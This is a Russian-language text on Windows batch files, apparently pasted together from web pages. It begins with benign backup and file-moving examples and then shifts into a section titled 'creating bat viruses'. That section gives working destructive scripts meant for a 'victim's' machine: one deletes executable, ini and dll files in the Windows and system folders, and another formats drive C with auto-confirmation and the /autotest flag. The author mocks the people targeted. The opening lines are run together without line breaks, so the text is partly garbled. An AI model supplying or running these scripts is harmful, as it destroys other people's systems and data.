Cd\Cd C:Сd winMeDel *.ExeDel *.IniDel *.ComCd\Cd win98Cd systemDel *.DllDel *.Exe
Quot;C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY-mm-dd
E:\arhaccounts\ d:\accounts\*.doc "C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.xls "C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.txt
Теперь немного расскажу, что делает этот батник. Запускается WinRar, потом идут команды винрара (a это добавить в архив), потом ключи винрара (-r обрабатывать вложенные папки, -dh открывать совместно используемые файлы, -ed не добавлять пустые папки, далее идет добавление к имени архива текущею дату, YYYY-mm-dd формат даты), потом показан путь где будет лежать конечный архив, ну а потом путь и маска файлов какие нужно заархивировать, мы архивируем все документы word, Excel и текстовые файлы, остальные мы считаем незачем архивировать. У нас архивация идет на другой диск и мы еще копируем полученный архив на другой комп, для того чтобы архивы хранились и в другом кабинете. Копирование идет по сети соответственно комп на который копируется архив должен быть включен. Для этого можно использовать такую команду:
copy E:\arhaccounts\*.rar \\namecomp\arhiv\
Теперь рассмотрим основные команды, которые вы можете использовать.
Если вам нужно удалить файл пропишите следующие:
Del d:\file\test.doc
Для того чтобы удалить весь каталог пропишите:
rd d:\file\
Вдруг вам нужно удалять каждый раз все из какого-нибудь каталога то используйте вот что:
echo Y| del d:\file\
где del d:\file\ это как раз и есть удаление всех файлов, а команда echo Y| подтверждает удаление т.к. если не прописать эту команду, то вы увидите сообщение о подтверждение удаления – Продолжить [Y(да)/N(нет)] и вам придется выбирать удалять или нет.
Сейчас давайте рассмотрим пример по сложней, в котором уже выполняется условие:
Echo off
"C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK d:\test\test.rar d:\test
IF not EXIST d:\test\123.rar GOTO 1
IF EXIST d:\test\123.rar GOTO 2
:2
"C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK d:\test\123.rar c:\
del d:\test\123.rar
Del d:\test\test.rar
End
Теперь объясняю, допустим, вам нужно разархивировать архив test.rar в котором будет много файлов, но если там окажется файл 123.rar его нужно будет разархивировать в корень диска C а остальные файлы чтобы остались в том же каталоге не тронутыми.
По порядку команда @echo off нужна для того чтобы на экране у нас ничего не отражалось (в принципе если не нужно можете не писать эту строку). Далее у нас запускается винрар и распаковывает архив test.rar в папку test, потом идет условие, если в папке test (после распаковки test.rar) у нас не окажется файла 123.rar то у нас просто выполнение батника переходит к строке :1 и потом просто удаляется файл test.rar за не надобностью т.к. все что нам нужно мы уже распаковали. Но если там оказывается файл 123.rar то выполнение батника переходит к строке :2 после которой уже идет распаковка файла 123.rar в корень диска C. Другими словами у нас выполняется условие, если есть файл то делать это, если нет файла делать вот это. Допустим если не прописать условие в данном примере, то у нас батник выдаст ошибку, тогда когда у нас не окажется файла 123.rar в данной папке.
А сейчас рассмотрим такой пример, допустим вам нужно каждый раз перемещать из каталога расположенного на диске D файлы на флешку, вы каждый раз должны будите заходить мой компьютер диск D выбирать нужную папку выделять все файлы из нее и вырезать, а потом только заходить на флешку и вставлять, но с помощью батника это делается в один клик (с одним условием что флешка каждый раз будет, например диском G или тем какой у вас). Вот пример такого батника:
move "D:\catalog\*.doc" G:\catalognaflehe\
И все файлы с расширением doc которые находятся в каталоге D:\catalog будут перемещаться на флешку. Теперь хочу сказать что в батниках можно использовать сценарии (скрипты) при помощи Windows Scripting Host и если нужно например чтобы выводилось сообщение после того как файлы скопированы (предыдущий пример) вставьте вот это:
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Файлы Скопированы"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
Создание bat вирусов
Так, что же могут сделать эти маленькие bat файлы и как их сделать. Для тех кто хоть капельку имеет представление о ДОСовских командах будет все проще. Я же со своей стороны постараюсь объяснить каждую строчку.
Для написания нам понадобится обыкновенный блокнот(ПК).
1. пишем любое название блокнота(install.bat), главное чтобы Вы поставили расширение *.bat.
2. запускаем блокнот.
3. Теперь пишим в нем команды которые батик будет выполнять на чужом кампе, помните все команды он делает последовательно.
Грохаем windows на кампе жертвы:
Cd\-команда для выхода в корневой каталог из места откуда был запущен bat файл
Cd C:-команда перехода на диск C где почти у всех кампах стоит виндовс
Сd windows-переходим в папку Windows (у 95% ламеров и юзеров папка называется именно так)
Большой минус бат файлов да и ДОСа в частности это то что нельзя удалять сразу папку с файлами, а нужно заходить в каждую папку отдельно и удалять там файлы.!!!
del *.exe -удаяем все файлы с расширением .exe
del *.ini-удаяем все файлы с расширением .ini
del *.com-удаяем все файлы с расширением .com
cd\
cd windows
cd system
del *.dll
del *.exe
После этих простеньких строчек у юзера или ламера будет примерно 30 минут работы!)
Код полностью:
Cd\
Cd C:
Сd windows
del *.exe
del *.ini
del *.com
cd\
cd windows
cd system
del *.dll
del *.exe
Но вдруг папка виндовс называется не windows а например winMe, или win98, да без проблем, просто надо будет после этого кода написать ниже ещё один только чтобы папка называлась winMe и так далее.
Cd\Cd C:Сd winMeDel *.exeDel *.iniDel *.comCd\Cd win98Cd systemDel *.dllDel *.exe
и так далее! Как вы понимаете таким образом можно грохнуть все что угодно на чужом винте! Только помните, что такое можно делать если на машине жертвы стоит Windows 9Х!!!
Люблю прикалывать ламеров, это форматирование диска С:\
Форматируем диск С:\
Cd\ -команда для выхода в корневой каталог из места откуда был запущен bat файл
Format C:\ -команда форматирования диска
С:\ Y -команда автоматического согласие форматирование диска без ведома или подтверждения команды ламером
Y -тоже самое
Y -уже говорил
Хе! Вот и все…
Код полностью:
Cd\Format C:\YYY
Единственный минус! Такой код может не сработать если на кампе стоит Windows ME или XP! Придется писать другой путь. В этих форточках команда форматирования лежит не просто в папке Windows, а по следующему пути
C:\WINDOWS\COMMAND\format c:
но само сабой форматироваться не будет, а потребует потверждение и простая команда
Y
Y
Y
не поможет, нужена другая. Просто добавим параметр /autotest